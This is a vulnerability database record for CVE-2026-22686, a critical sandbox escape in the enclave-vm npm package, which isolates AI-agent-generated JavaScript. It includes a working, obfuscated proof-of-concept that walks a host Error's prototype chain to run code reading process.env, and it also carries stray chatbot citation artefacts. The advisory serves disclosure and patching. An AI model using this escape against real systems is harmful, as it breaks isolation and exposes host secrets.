{"id":"CVE-2026-22686","aliases":["GHSA-7qm7-455j-5p63"],"url":"https://o3.security/vulnerability/CVE-2026-22686","summary":"Sandbox Escape via Host Error Prototype Chain in enclave-vm","details":"A critical sandbox escape vulnerability exists in **enclave-vm** (affected: **< 2.6.0**, patched: **2.7.0**) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the **host Node.js runtime**.\n\nWhen a tool invocation fails, enclave-vm exposes a **host-side Error object** to sandboxed code. This Error object retains its **host realm prototype chain**, which can be traversed to reach the **host `Function` constructor**:\n\n`Error instance → Error.prototype → Error constructor → Function constructor`\n\nWith access to the host `Function` constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as `process.env`, filesystem, and network.\n\nThis breaks enclave-vm’s core security guarantee of isolating untrusted code.\n\n---\n\n### Ecosystem Impact (FrontMCP / CodeCall)\n\n**FrontMCP** is a TypeScript-first framework for building MCP servers, and the **CodeCall plugin** enables models to orchestrate large toolsets by generating and executing JavaScript plans.\n\n**Enclave is the defense-in-depth sandbox layer behind CodeCall** (AST validation + runtime sandboxing). If you use FrontMCP **CodeCall** for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.\n\n---\n\n### Live Playground (Safe Exploration & Testing)\n\nTo explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:\n\n- **EnclaveVM Playground:** https://enclave.agentfront.dev\n\nThis is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.\n\n---\n\n### Timeline (Fast Fix)\n\n- **Fix released:** `enclave-vm@2.7.0` (Jan 9, 2026)\n- **Advisory published:** Jan 13, 2026\n\n---\n\n### Proof of Concept\n\n> ⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.\n\n<details>\n<summary>Click to expand PoC</summary>\n\n```javascript\n// Vector 35: The Host Error Escape\n// Purpose: Trigger a Host-side error and traverse its prototype chain\n// to reach the Host Function constructor.\n\nconst s = (...args) => String.fromCharCode(...args);\n\nconst kCon    = s(99,111,110,115,116,114,117,99,116,111,114); // \"constructor\"\nconst kProto  = s(95,95,112,114,111,116,111,95,95);           // \"__proto__\"\nconst kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);\nconst kCode   = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);\nconst kPtype  = s(112,114,111,116,111,116,121,112,101);\n\ntry {\n    const ObjectProto = Object[kPtype];\n    const lookup = ObjectProto[kLookup];\n    const getProtoNative = lookup.call(ObjectProto, kProto);\n\n    let hostError;\n    try {\n        await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});\n    } catch (e) {\n        hostError = e;\n    }\n\n    const errProto = getProtoNative.call(hostError);\n    const ErrorCtor = errProto[kCon];\n    const HostFunc = ErrorCtor[kCon];\n\n    const exploitFn = HostFunc(kCode);\n    return exploitFn();\n} catch (e) {\n    return e.message;\n}\n````\n\n</details>\n\n---\n\n### Mitigation / Remediation\n\n**Immediate action:**\n\n* Upgrade **enclave-vm** to **2.7.0+**\n\n**Defense-in-depth guidance:**\n\n* Re-create all Error objects crossing the sandbox boundary **inside the sandbox realm**\n* Strip / freeze prototype chains of host objects\n* Prevent access to host `Function` constructors\n* Harden tool error handling to avoid leaking host-native objects\n\n---\n\n### References\n\n* GitHub Security Advisory: [https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63](https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63)\n* npm package: [https://www.npmjs.com/package/enclave-vm](https://www.npmjs.com/package/enclave-vm)\n* Enclave repo: [https://github.com/agentfront/enclave](https://github.com/agentfront/enclave)\n* FrontMCP docs: [https://agentfront.dev/docs](https://agentfront.dev/docs)\n* CodeCall plugin overview: [https://agentfront.dev/docs/plugins/overview](https://agentfront.dev/docs/plugins/overview)\n* EnclaveVM Playground: [https://enclave.agentfront.dev/](https://enclave.agentfront.dev)\n\n```\n\nFactual hooks (for correctness):\n- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}  \n- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1}  \n- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}  \n- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3}  \n- Release listing shows `enclave-vm@2.7.0` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}\n::contentReference[oaicite:5]{index=5}","published":"2026-01-13T23:11:49.098Z","modified":"2026-10-28T02:30:37.041245276Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"enclave-vm","fixedVersion":"2.7.0"}],"fix":{"url":"https://github.com/agentfront/enclave/commit/ed8bc438b2cd6e6f0b5f2de321e5be6f0169b5a1","label":"agentfront/enclave@ed8bc43"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22686.json"},{"type":"ADVISORY","url":"https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22686"},{"type":"FIX","url":"https://github.com/agentfront/enclave/commit/ed8bc438b2cd6e6f0b5f2de321e5be6f0169b5a1"},{"type":"PACKAGE","url":"https://github.com/agentfront/enclave"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:37.041245276Z"}}